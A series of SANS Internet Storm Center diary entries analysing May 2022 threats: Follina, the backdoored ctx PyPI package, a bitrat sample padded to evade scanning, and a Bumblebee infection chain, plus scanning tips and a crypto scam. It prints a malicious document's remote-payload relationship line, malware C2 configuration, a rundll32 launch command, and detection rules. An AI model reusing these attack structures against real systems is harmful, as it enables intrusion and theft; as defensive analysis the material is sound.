For a few days, "Follina" is generating a lot of noise on the Internet, check our yesterday diary[1] about this new vulnerability if you need more details. It was time to hunt for some samples. For this purpose, I created a simple YARA rule on VT:

import "vt"
rule hunt_0day_msdt
{
    strings:
        $s1 = "!\" TargetMode=\"External\"/>" nocase wide ascii
    condition:
        new_file and all of ($s*) and vt.metadata.file_type == vt.FileType.DOCX
}

The rule is pretty simple but is doing a great job and the amount of false-positive hits are acceptable, thanks to the trailing "!" that must be present at the end malicious URLs found in the documents.

It seems that many security researchers (or redteams, pentesters?) are working on proof-of-concept documents, I detected a lot of documents embedding an URL with RFC1918 IP addresses:

But finally, I received a positive alert. The document was uploaded from Ireland but has a filename with Chinese characters. Google Translate returns the following translations:

Mobile phone room to receive orders - channel quotation - the lowest price on the whole network.docx

Of course, the tactic used in the document is exactly the same but URLs and payload are different:

hxxp://coolrat[.]xyz/Loading.html

The payload:

And the decoded Base64 string:

The malware is still available and I downloaded a copy (SHA256:3206fe87e2874db37239d64779c1f504cfca528cef8f5c2214f8434b392aa25a). It has a VT score of 16/68[2]. The domain to drop the payloads has been registered on May, 23rd 2022.

If not done yet, it's a good time to have a look at the document[3] released by Microsoft to mitigate this vulnerability! 

[1] https://isc.sans.edu/forums/diary/New+Microsoft+Office+Attack+Vector+via+msmsdt+Protocol+Scheme+CVE202230190/28694/
[2] https://www.virustotal.com/gui/file/3206fe87e2874db37239d64779c1f504cfca528cef8f5c2214f8434b392aa25a
[3] https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Update: We now have an official blog post from Microsoft:
Guidance for CVE-2022-30190 Microsoft Support Diagnostic Tool Vulnerability.

The workaround to disable the MSDT URL Protocol is now confirmed, and we do have a CVE number for the issue.

In case you are asked to brief management: We do have some PowerPoint slides to get you started.
PPT: https://i5c.us/msdtppt. PDF: https://i5c.us/msdtpdf [These documents will be updated as we learn more. Please provide feedback if you find errors or have suggestions]

Most recent update: May 30th 10:30pm EDT (May 31st 02:30 UTC) reflecting Microsoft's guidance.

It was a long weekend for many European countries, and it's an off-day in the US, but we were aware of a new attack vector for Microsoft Office documents. It started with a tweet from @nao_sec[1], who reported an interesting Word document. Office documents have been a common way to drop malware into victims’ computers for a while. We have to fight against VBA macros, XLS 4 macros, embedded payload, etc. But the one described here is interesting.

The file is detected by only 17 antivirus engines on VT (sha256:4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784)[2]

When you open the file, nothing is displayed (it seems like a blank document), but, looking at the document specs, you see something interesting: The document contains an external reference pointing to a malicious URL:

<Relationship Id="rId996" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="hxxps://www[.]xmlformats[.]com/office/word/2022/wordprocessingDrawing/RDF842l.html!" TargetMode="External"/>

This host, www[.]xmlformats[.]com, will be visited when you open the document (and activate the content). The following payload will be fetched:

The interesting part is the windows.location.href. The protocol schema is “ms-msdt:/“ (note the single slash!). What’s this MSDT or “Microsoft Support Diagnostic Tool”? msdt.exe is a tool provided by Microsoft that will collect information to send to Microsoft Support[3].

Microsoft Office will automatically process the MSDT URL and execute the Powershell payload. The Base64 contains this:

Even if macros are disabled, the protected view feature does its job. However, Kevin Beaumont tested a document converted into an RTF form. It works even when you preview the document in Windows explorer[4]. This vulnerability does not work with all Office versions (at least in Office 2013 and 2016).

While we had a look at the malicious file during the weekend, Didier generated a new payload that will fire a classic calculator as a demonstration of the code execution. He recorded a video of the behavior [5].

This behavior is really bad. How to detect this? Note that the suspicious scheme ("ms-msdt:/") is not present in the document. It's present in the first stage payload that will be downloaded by Office. Here are some ideas:

1. Check the parent-child relationship: A good idea is to track msdt.exe processes launched from parent processes like word.exe or excel.exe.

2. Delete the 'ms-msdt' scheme from the registry. Didier performed some tests, and it works[6].

3. Prevent Office from spawning child processes by creating an ASL rule:

Set-MpPreference -AttackSurfaceReductionRules_Ids d4f940ab-401b-4efc-aadc-ad5f3c50688a -AttackSurfaceReductionRules_Actions Enabled

4.  Of course, train your users not to open suspicious documents.

We will continue to keep an eye on this new attack vector and update this diary. Feel free to share your findings with us.

[1] https://twitter.com/nao_sec/status/1530196847679401984?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1530196847679401984%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fcdn.embedly.com%2Fwidgets%2Fmedia.html%3Ftype%3Dtext2Fhtmlkey%3Da19fcc184b9711e1b4764040d3dc5c07schema%3Dtwitterurl%3Dhttps3A%2F%2Ftwitter.com%2Fnao_sec%2Fstatus%2F1530196847679401984image%3Dhttps3A%2F%2Fi.embed.ly%2F1%2Fimage3Furl3Dhttps253A252F252Fabs.twimg.com252Ferrors252Flogo46x38.png26key3Da19fcc184b9711e1b4764040d3dc5c07
[2] https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/detection
[3] https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msdt
[4] https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e
[5] https://www.youtube.com/watch?v=GybD70_rZDs
[6] https://twitter.com/DidierStevens/status/1531033449561264128

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

In diary entries "Huge Signed PE File" and "Huge Signed PE File: Keeping The Signature" I explain how to get rid of the overlay in a huge PE file.

What commands do you need to issue if you do want the overlay (e.g., for analysis)?

To achieve this, you follow the steps as I explained here, up until the extraction of the stripped PE file (-g s). Issue a similar extraction command, but use -g o (o stands for overlay) to extract the overlay.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

In my diary entry "Huge Signed PE File" we stripped a huge PE file with signature like this:

I was asked how to strip a PE file but keep the signature. So, doing this:

To achieve this, you follow the procedure as explain in my diary entry, and then you copy the signature from the original file to the stripped file with my disitool.py, like this:

Of course, the signature will remain invalid (except for a very special case :-) ).

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Xavier's diary entry "A 'Zip Bomb' to Bypass Security Controls & Sandboxes" reminded me of something. I've seen huge PE files like Xavier saw, but I've also seen a couple of huge PE files that are signed. I will explain here how you can reduce their size.

The PE file that Xavier talked about, can be represented as follows (picture not to scale):

To recover the original PE file, and make it much smaller, suitable for analysis, one removes the NULL block. As Xavier explained.

I've seen PE files like this. What I've also seen a couple of times, is a huge PE file like this (again, picture not to scale):

So right after the huge block of NULLs, comes a digital signature (Authenticode). It's a very small block, but not NULL. The examples I've seen were fake signatures, but this can be done with valid signatures to.

To recover the original PE file, one needs to remove the NULL block and the signature, and also update the reference to the signature inside the PE file (directory entry with offset & size of signature).

This can be done as follows.

As I'm not at liberty to share the samples I have, I took Xavier's sample and added a fake signature with my disitool.py.

Taking a look at that PE file with pecheck.py, you get a warning from the pefile module that the PE file contains a huge amount of NULL bytes.

The file is huge: 400 MB. But when you look at the sections, they are in total less than 2 MB:

The file contains a digital signature:

It is fake:

We remove the digital signature with my disitool.py like this:

We verify that the signature is removed:

And then we run pecheck.py again:

We have a huge overlay of 398MB that consists of NULL bytes only (MAGIC 00000000, entropy 0.0, only 1 unique byte).

We can strip that overlay with pecheck.py using option -o s (s = stripped PE file) and writing the result to disk -D + file redirection:

The result is a PE file less than 2 MB:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Recently I've been seeing more clients using DNS load balancing (GSLB) to load-balance traditional web, API and other services - it's an easy way to load balance between datacenters for instance.  What I've noticed lately, especially with servers that use cloud "as a service" offerings, is that:

• Not all cluster members neccessarily have the same ports available
• Not all cluster members might even have the same web components installed

If there isn't a TLS front-end (and we're seeing less of this over time), that means that certificates are now maintained per-server, which means that one or more can easily expire "under the radar"

So, how do we work through this problem of "my DNS target is now multiple different hosts, each with their own IP", and add to that, now dozens or hundreds of other hosts (from other organizations) now reside on those same IP addresses?
By default, nmap will only assess the first IP returned for the DNS query against your hostname.  In fact, it comes right out and tells you that when this situation comes up:

nmap -Pn -sT -v -p80,443,8443,9443 somehost.somedomain.com
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-18 14:08 Eastern Daylight Time
Initiating Parallel DNS resolution of 1 host. at 14:08
Completed Parallel DNS resolution of 1 host. at 14:08, 0.02s elapsed
Initiating Connect Scan at 14:08
Scanning somehost.somedomain.com (1.2.3.4) [4 ports]
Discovered open port 443/tcp on 1.2.3.4
Discovered open port 80/tcp on 1.2.3.4
Discovered open port 8443/tcp on 1.2.3.4
Discovered open port 9443/tcp on 1.2.3.4
Completed Connect Scan at 14:08, 0.08s elapsed (4 total ports)
Nmap scan report for somehost.somedomain.com (1.2.3.4)
Host is up (0.065s latency).
Other addresses for somehost.somedomain.com (not scanned): 5.6.7.8 13.12.11.10
rDNS record for 1.2.3.4: some-rev-dns.some-other-domain.com

PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
8443/tcp open  https-alt
9443/tcp open  tungsten-https

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

This is of course less than optimal, the workaround is to use the "--resolve-all" switch, so that each IP is scanned (as the dns name provided).   Because of how web servers work, if you just scan the IP address you are quite often not scanning the service you think you are - in many cases for instance you might be "looking" at the apache or IIS default server rather than your customer's web server.

nmap -Pn -sT -v -p80,443,8443,9443 --resolve-all somehost.somedomain.com
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-18 15:20 Eastern Daylight Time
Initiating Parallel DNS resolution of 3 hosts. at 15:20
Completed Parallel DNS resolution of 3 hosts. at 15:20, 0.04s elapsed
Initiating Connect Scan at 15:20
Scanning 3 hosts [4 ports/host]
Discovered open port 80/tcp on 1.2.3.4
Discovered open port 80/tcp on 5.6.7.8
Discovered open port 80/tcp on 13.12.11.10
Discovered open port 443/tcp on 13.12.11.10
Discovered open port 443/tcp on 1.2.3.4
Discovered open port 8443/tcp on 1.2.3.4
Discovered open port 443/tcp on 5.6.7.8
Discovered open port 8443/tcp on 5.6.7.8
Discovered open port 9443/tcp on 5.6.7.8
Discovered open port 9443/tcp on 13.12.11.10
Completed Connect Scan at 15:20, 0.14s elapsed (12 total ports)
Nmap scan report for somehost.somedomain.com (5.6.7.8)
Host is up (0.043s latency).
rDNS record for 5.6.7.8: some-rev-dns-5.some-other-domain.com

PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
8443/tcp open  https-alt
9443/tcp open  tungsten-https

Nmap scan report for somehost.somedomain.com (13.12.11.10)
Host is up (0.044s latency).
rDNS record for 13.12.11.10: some-rev-dns-13.some-other-domain.com

PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
9443/tcp open  tungsten-https

Nmap scan report for somehost.somedomain.com (1.2.3.4)
Host is up (0.037s latency).
rDNS record for 1.2.3.4: some-rev-dns.some-other-domain.com

PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
8443/tcp open  https-alt

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 3 IP addresses (3 hosts up) scanned in 1.05 seconds

Key things to note:

• All 3 hosts got scanned
• All 3 hosts got scanned as the target service somehost.somedomain.com
• Not all 3 hosts had the same services - when I looked at this closer, the missing services were API interfaces, which were only fully implemented on the "primary" host.  You might think that this is a pretty big "oops", but the load balancer might know about that, and will only load balance 8443 between the correct 2 hosts and 9443 between the correct (other) two hosts for that service.  It's tough to say without a failover to test it, and that's all you can suggest to the client - "you should test the failover for those two services"

Using this same switch with nmap scripts can also be useful, especially the "SSL-" family of nmap scripts.  ssl-cert and ssl-enum-ciphers in particular should always give you the same results for each cluster member.  "Should" being the operative word!

Have you found some missed configs or  "housekeeping opportunities" when scanning load balanced clusters?  If your NDA permits, please share any war stories using our comment form!

===============
Rob VandenBrink
rob@coherentsecurity.com

Python is a prevalent programming language and has a vast collection of packages on Python Package Index (pypi.org) that allow developers to build their code conveniently. Many of these packages can be installed and updated by the well-known “pip install” command. However, many developers may take the updating and installation process for granted and may neglect to check what might have changed in the packages. I was recently alerted to such a particular post on Reddit [1], [2], and I decided to dive deeper to investigate the issue.

 

The package in question was the ctx Python package that was last uploaded to pypi.org on December 19 2014 (with reference to Figure 1). It provides the additional Ctx class, a subclass of the python ‘dict’ object [3]. However, when we browse the release history tab, we can see various versions of ctx uploaded within the past few days (with reference to Figure 2). A check on the author’s GitHub repository also showed that the ctx package did not receive any updates [4].

 

Figure 1: Original ctx Release History (Retrieved from Archive.org [5])

 

Figure 2: Current ctx Release History (Retrieved from pypi.org [6])

 

It was undoubtedly weird that the original package that was uploaded on December 19, 2014, would be replaced by something identical on May 21, 2022 and have subsequent version updates (and skipping a few releases too).

Next, I wanted to verify what were the package changes. There were a few packages to consider:

1) The original ctx version 0.1.2

2) The “new” ctx version 0.1.2

3) ctx version 0.2.2

4) ctx version 0.2.6

I executed a diff command on the original ctx 0.1.2 and the “new” ctx 0.1.2, and observed something that caught my attention immediately (Figure 3).

 

Figure 3: Linux diff command executed on original ctx 0.1.2 Package and the “new” ctx 0.1.2 Package

 

In the “new” ctx 0.1.2.py code, there was code added to attempt to retrieve the AWS access key ID, computer name and the AWS secret access key when a dictionary is created. What an extra feature!

I then compared the “new” ctx 0.1.2 version with the ctx 0.2.2 version, and found no significant code changes. However, ctx 0.2.6 had a different feature (Figure 4).

Figure 4: Linux diff command executed on original ctx 0.1.2 Package and ctx 0.2.6 Package

 

In this case, it appears that the perpetrator is trying to obtain all the environment variables, encode them in Base64, and forward the data to a web app under the perpetrator’s control.

 

There were also some other notable artifacts in the newly uploaded ctx packages. For example, there was also a separate Python code “test_ctx.py” that was ostensibly used for testing the new package code, along with a “tox.ini” file (also likely used for testing the python package).

 

We can safely determine that the current Python ctx package on pypi.org should not be used as it has been tampered with. One possibility is that the original author’s account was compromised and used to upload the new packages. If one was using the original version 0.1.2 (SHA1 hash of ed9ef913ee7d4044992142306038c8a647b00b77) that was installed prior to sometime before May 14, 2022, it is unlikely that you would be using the tampered version of ctx (note that version 0.2.2 was uploaded on May 14, 2022). However, if one had installed the ctx package after May 14, 2022, you would likely be running an unsafe version of the ctx Python package.

 

With such an occurrence, it would be good for developers to closely scrutinise the packages that one uses for coding and verify that no extra features are lurking within the packages. This also highlights the importance of regularly checking source code, libraries and packages for irregularities, having a secure infrastructure for software development, and proper configuration management.

 

Update #1: It appears that the original maintainer's domain name had expired, and the perpetrator registered it on May 14, 2022 (same date where version 0.2.2 of ctx was uploaded). With control over the original domain name, creating a corresponding e-mail to receive a password reset e-mail would be trivial. After gaining access to the account, the perpetrator could remove the old package and upload the new backdoored versions.

Update #2: Searching for the malicious domain (hxxps://anti-theft-web.herokuapp.com) shows that another GitHub repository (hxxps://github.com/hautelook/phpass) has the same malicious domain embedded within the PHP code (please replace hxxps with https). It is recommended that the code in this repository not be used. 

Update #3: As of 1011hrs (UTC time), a contact from the Python Software Foundation has indicated that the "project has been removed and prohibited from re-registration without admin intervention". Browsing to the ctx project page also resulted in a HTTP 404 response.

Update #4: The incident report on the malicious takeover of the ctx package on pypi.org has been published [7].

 

Indicators of Compromise (IOCs):

hxxps://anti-theft-web.herokuapp.com/

3.216.88.24

37129d145a310d64369e7d2741b4d51eb3a85193 (SHA1 hash of backdoored ctx-0.1.2.tar.gz)

f98204e2bfceef20c85f26e0f5c6661a8639e56d (SHA1 hash of backdoored ctx-0.2.2.tar.gz)

a73d3d7f1a57d61d17763747a7eaf8b24332c5b6 (SHA1 hash of backdoored ctx-0.2.6.tar.gz)

 

References:

1. https://www.reddit.com/r/Python/comments/uumqmm/ctx_new_version_released_after_7_years_750k/

2. https://www.reddit.com/r/Python/comments/uwhzkj/i_think_the_ctx_package_on_pypi_has_been_hacked/

3. https://pypi.org/project/ctx/#description

4. https://github.com/figlief/ctx

5. https://web.archive.org/web/20190522175345/https://pypi.org/project/ctx/#history

6. https://pypi.org/project/ctx/#history

7. https://python-security.readthedocs.io/pypi-vuln/index-2022-05-24-ctx-domain-takeover.html

-----------
Yee Ching Tok, ISC Handler
Personal Site
Twitter

Recently, I noticed some requests hitting our honeypots that appear to attempt to exploit jQuery-File-Upload. jQuery-File-Upload is a popular tool for implementing file uploads. It has been around for a while and has had a few vulnerabilities in the past, but nothing recent as far as I can tell [1]. Allowing users to upload files securely is tricky. And jQuery-File-Upload is tempting faith by allowing uploads into the document root. The walk-through by Kristian Bremberg explaining past jQuery-File-Upload vulnerabilities is an excellent summary of all the things that can go wrong [2].

Here is a typical request we are seeing currently:
 

GET /jqueryupload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1
Accept: */*
User-Agent: ALittle Client
Host: [redacted]
Content-Type: application/json
Content-Length: 0
Connection: Keep-Alive

 

There are a couple of odd things identifying this set of scans:

• While the attacker attempts some variations of the URL, the image file name is always the same
• the user-agent is unique to this particular attacker (more about that later).
• The hostname is an actual hostname assigned to the target IP in the past. This attacker does appear to scan a list of hostnames, not a list of IPs.
• No actual exploit is sent. This appears to be an attempt to find vulnerable systems.

The scans are currently all coming from %%ip:194.38.20.161%%. The IP address has been active since the beginning of the year. Over that time, different URLs were scanned with a focus on file upload vulnerabilities:

• /sites/all/libraries/elfinder/src/connectors/php/connector.php
• /assets/plugins/fileuploader/examples/one-button/php/form_upload.php
• /assets/admin/plugins/plupload/examples/upload.php
• /open_flash_chart/php-ofc-library/ofc_upload_image.php
• /wp-content/plugins/advanced_file_manager_5/files/_elghoul.php

The very first request we saw with this user-agent arrived on August 9th last year and attempted to access the WordPress file manager. Back then, the requests came from a few different IP addresses.

Sadly, we do not know exactly what the attacker is attempting to upload. But it will likely be spam/malware, which is what we often find. The attacker is scanning by hostname instead of IP address as the attacker is likely looking for existing websites with a "decent" reputation to minimize the chance of blocklisting. If you are a developer: Read the blog linked below for a refresher on what can go wrong with file uploads.

[1] https://github.com/blueimp/jQuery-File-Upload/blob/master/VULNERABILITIES.md
[2] https://blog.detectify.com/2018/12/13/jquery-file-upload-a-tale-of-three-vulnerabilities/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Yesterday, I analyzed a malicious archive for a customer. It was delivered to the mailbox of a user who, hopefully, was security-aware and reported it. The payload passed through the different security layers based on big players on the market!

The file is a zip archive (SHA256:97f205b8b000922006c32c9f805206c752b0a7d6280b6bcfe8b60d52f3a1bb5f) and has a score of 6/58 on VT[1]. The archive contains an ISO file that, once mounted, discloses a classic PE file. But let's  have a look at the file:

remnux@remnux:/MalwareZoo/20220519$ zipdump.py Order-801273.zip
Index Filename         Encrypted Timestamp           
    1 Order-801273.img         0 2022-05-16 13:32:08 
remnux@remnux:/MalwareZoo/20220519$ zipdump.py Order-801273.zip -s 1 -d >Order-801273.img
remnux@remnux:/MalwareZoo/20220519$ file Order-801273.img 
Order-801273.img: ISO 9660 CD-ROM filesystem data 'DESKTOP'
remnux@remnux:/MalwareZoo/20220519$ sudo mount -o loop Order-801273.img /mnt/iso
mount: /mnt/iso: WARNING: device write-protected, mounted read-only.
remnux@remnux:/MalwareZoo/20220519 $ ls /mnt/iso
Order-801273.exe
remnux@remnux:/MalwareZoo/20220519$ cp /mnt/iso/Order-801273.exe .
remnux@remnux:/MalwareZoo/20220519$ ls -l Order*
-r-xr-xr-x 1 remnux remnux 419430400 May 20 00:34 Order-801273.exe
-rw-r--r-- 1 remnux remnux 419495936 May 20 00:30 Order-801273.img
-rw-r--r-- 1 remnux remnux   2017165 May 20 00:28 Order-801273.zip

Check carefully the size of the different files. The ZIP archive is 2M but the PE file is much bigger: 400MB! Do you remember the "Zip Bomb"[2]? A malicious very small archive that, once decompressed, is very big and consumes a lot of resources to be unpacked.

Let’s start the analysis of the PE file using static analysis techniques. My favorite tool to start investigations is PEstudio[3]. It reports something suspicious:

You can see (highlighted in red) that the file has an "overlay" that uses 99% of the file size! And the first bytes are all zeroes. This overlay starts at offset 0x1B9C00. Let's confirm this:

remnux@remnux:/MalwareZoo/20220519$ xxd -s 1809408 Order-801273.exe |more
001b9c00: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9c10: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9c20: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9c30: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9c40: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9c50: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9c60: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9c70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9c80: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9c90: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9ca0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9cb0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9cc0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9cd0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9ce0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9cf0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9d00: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9d10: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9d20: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9d30: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9d40: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9d50: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9d60: 0000 0000 0000 0000 0000 0000 0000 0000  ................
001b9d70: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Microsoft Windows is very permissive regarding data appended to files. For example, it's common to see Word documents containing a macro that extracts a payload located at the end of the file. Here, the PE file has been altered by appending a lot of zeroes to the code. That's the reason why the archive is small. Packing zeroes is very efficient and produces a small file. Let's try this:

remnux@remnux:/MalwareZoo/20220519$ dd if=/dev/zero of=zero.tmp count=10000000
remnux@remnux:/MalwareZoo/20220519$ zip zero.zip zero.tmp
remnux@remnux:/MalwareZoo/20220519$ ls -l zero.*
-rw-rw-r-- 1 remnux remnux 5120000000 May 19 16:06 zero.tmp
-rw-rw-r-- 1 remnux remnux    4969094 May 19 16:07 zero.zip

Let's get rid of the overlay to produce a new PE with a "normal" size:

remnux@remnux:/MalwareZoo/20220519$ dd if=Order-801273.exe of=Order-801273.exe.stripped count=1809408 bs=1
1809408+0 records in
1809408+0 records out
1809408 bytes (1.8 MB, 1.7 MiB) copied, 2.31218 s, 783 kB/s
remnux@remnux:/MalwareZoo/20220519$ ls -l Order-801273.exe.stripped 
-rw-r--r-- 1 remnux remnux 1809408 May 20 01:01 Order-801273.exe.stripped
remnux@remnux:/MalwareZoo/20220519$ file Order-801273.exe.stripped 
Order-801273.exe.stripped: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Now, the file can be analyzed successfully. This is a very nice technique to bypass many security controls. Indeed, for performance reasons, big files are often skipped or can generate timeouts due to the huge amount of data to analyze.

By the way, the PE file is a bitrat sample using the following configuration:

{
  "family": "bitrat",
  "rule": "Bitrat",
  "c2": [
    "kot-pandora[.]duckdns[.]org:24993"
  ],
  "version": "1.38",
  "attr": {
    "tor_process": "tor",
    "communication_password": "d6723e7cd6735df68d1ce4c704c29a04"
  }
}

[1] https://www.virustotal.com/gui/file/97f205b8b000922006c32c9f805206c752b0a7d6280b6bcfe8b60d52f3a1bb5f
[2] https://en.wikipedia.org/wiki/Zip_bomb
[3] https://www.winitor.com

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

Last month, Google's Threat Analysis Group (TAG) reported on EXOTIC LILY using file transfer services like TransferNow, TransferXL, WeTransfer, or OneDrive to distribute malware (link).  Threat researchers like @k3dg3 occasionally report malware samples from this activity.  Based on @k3dg3's recent tweet, I searched through VirusTotal and found a handful of active TransferXL URLs delivering ISO files for Bumblebee malware.

Today's diary reviews an infection generated from this activity on Wednesday 2022-05-18.

Shown above:  Flow chart for infection discussed in this diary.

TransferXL URLs

TransferXL is a legitimate file sharing service.  However, like other services with a cost-free tier, TransferXL has been abused by criminals as a way to distribute malicious files.  However, with TransferXL, we have the benefit of seeing an email address used to share the malicious file.  The image below shows a malicious TransferXL URL recently submitted to VirusTotal.  Viewed in a web browser, it sends a malicious file.  The associated email address is jhurris@wolsleyindustrialgroup.com.

Shown above:  Malicious TransferXL URL delivering malware.

The downloaded zip archive contains an ISO disk image.  When double-clicked, this file is mounted as a DVD drive.  The ISO file contains a visible Windows shortcut and a hidden malware DLL for Bumblebee.  Double-clicking the Windows shortcut will run the hidden malware DLL on a vulnerable Windows host.

Shown above:  Downloaded ISO file mounted as a disk image containing Windows shortcut and hidden malware DLL.

Traffic from an infection

After downloading malware from the malicious TransferXL URL, the infected host generated Bumblebee C2 traffic to 194.135.33[.]144 over TCP port 443.

Shown above:  Initial infection activity with Bumblebee C2 traffic filtered in Wireshark.

Approximately 15 minutes after the Bumblebee C2 traffic first appeared, the infected Windows host generated HTTPS traffic to ec2-3-144-143-232-us-east-2.compute.amazonaws[.]com on 3.144.143[.]242 over TCP port 443.  The infected host sent approximately 5.5 MB of data out and received approximately 4.0 MB of data back from that server.

Shown above:  Encrypted (HTTPS) traffic to an amazonAWS server.

Approximately 14 minutes after HTTPS traffic to the amazonAWS server, HTTPS Cobalt Strike traffic appeared on 23.106.215[.]123 over TCP port 443 using xenilik[.]com as the domain.  It lasted approximately 3 minutes.

Shown above:  Traffic from the infection showing Cobalt Strike activity.

Indicators of Compromise (IOCs)

TransferXL URLs associated with the above email returning zip archives containing malicious ISO files.

• hxxps://www.transferxl[.]com/download/00ZNPDZqZwZ9m
• hxxps://www.transferxl[.]com/download/00jwbtRXtsSsZX
• hxxps://www.transferxl[.]com/download/00vJV4K6QVXSq6
• hxxps://www.transferxl[.]com/download/00y12VGg75h7K
• hxxps://www.transferxl[.]com/download/08j8ZRjHFkVxxc

NOTE: The above URLs usually have ?utm_source=downloadmail&utm_medium=e-mail appended to them.

Email addresses associated with malicious TransferXL URLs:

• andresbolivar@southerncompanygas[.]co
• jhurris@wolsleyindustrialgroup[.]com
• m.jones@wolsleyindustrialgroup[.]com
• mjones@wolsleyindustrialgroup[.]co

Domains from the above emails:

• southerncompanygas[.]co - registered 2022-04-27
• wolsleyindustrialgroup[.]com - registered 2022-04-29
• wolsleyindustrialgroup[.]co - not registered

Malware from an infected Windows host:

SHA256 hash: 1ec8c7e21090fb4c667f40c8720388a89789c569169fe0e41ec81567df499aac

• File size: 669,897 bytes
• File name: TransferXL-00jdMwft3vVZ7Q.zip
• File description: Zip archive retrieved from TransferXL URL

SHA256 hash: 24aa82e1a085412686af5d178810fc0d056c5b8167ae5b88973b33071aa14569

• File size: 1,052,672 bytes
• File name: documents-2205210.iso
• File description: ISO file extracted from downloaded zip archive

SHA256 hash: ade875616534b755f33f6012ea263da808dd7eb50bc903fc97722f37fac7c164

• File size: 1,191 bytes
• File name: New Folder.lnk
• File description: Windows shortcut contained in ISO file
• Shortcut: C:\Windows\System32\rundll32.exe spc.dll,JQhnMKwhpA

SHA256 hash: 88c07354f1d7b0485452d5c39dc1a6d73884e163bc5489c40adc6662602b4d76

• File size: 997,888 bytes
• File name: spc.dll
• File description: 64-bit DLL (hidden flag set) for Bumblebee malware
• Run method: rundll32.exe [filename],JQhnMKwhpA

Traffic from the infected Windows host:

• 194.135.33[.]144 port 443 - Bumblebee C2 HTTPS traffic
• 3.144.143[.]242 port 443 - ec2-3-144-143-242.us-east-2.compute.amazonaws[.]com - HTTPS traffic
• 23.106.215[.]123 port 443 - xenilik[.]com - Cobalt Strike HTTPS traffic

Final words

As the Google TAG blog post notes, EXOTIC LILY is using this method to push Bumblebee malware, and Bumblebee leads to further malware like Cobalt Strike.  And Cobalt Strike has been documented by different sources as leading to ransomware.

Today's diary reviewed a Bumblebee malware infection associated with EXOTIC LILY that led to Cobalt Strike activity.

Pcap and malware samples associated with this infection are available here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Cryptocurrency scams have become ubiquitous over the past few years, but from time to time, one still comes over an interesting or unusual one. And the one that recently made its way to us at the ISC certainly was interesting, as it was much more sophisticated than usual... Though, as you may see, one would not have guessed it from the less than believable initial e-mail message.

If a victim were to open the link, they would be greeted with a login screen where the provided credentials could be entered. That is, if the victim decided that getting their hands on 30 BTC belonging to someone named Rob Hoffman would be worth it to cross the proverbial ethical line.

This was a “nice touch” on the part of the scammers, as even if the victim did send them money, they would hardly go to the police afterwards and start the conversation with “Well, I accessed the account of this guy called Rob, whom I don’t know, and I wanted to get my hands on his 30 BTC…”, but we’ll get to the specifics of the scam later.

If the correct credentials from the phishing message were provided, the victim would be redirected to a page simulating a cryptocurrency investment platform, and indicating in the upper right corner that the account truly holds 30 BTC. It would, however, require that a 2FA using SMS or an automated call be set up and the password be changed, before any other actions would be allowed. After this was done, the victim would finally be directed to a page where they would be able to transfer the money… Or, so it would have seemed.

If they did try to initiate a transfer to a bank account, they would be greeted by a message claiming that bank account withdrawals were currently unavailable…

And if they tried to initiate a transfer to a “Bitcoin wallet”, they would be informed that the first transfer has to be no more than 0.0001 BTC for security reasons.

“So where is the scam?”, you might ask.

Well, once this initial 0.0001 BTC transfer was seemingly done (in reality, no money would be transferred, of course) and the victim tried to “withdraw” the remaining balance, they would be greeted with a message informing them that the minimum amount for withdrawal, which was supposedly set by the account owner when the account was created, is 30.006 BTC…

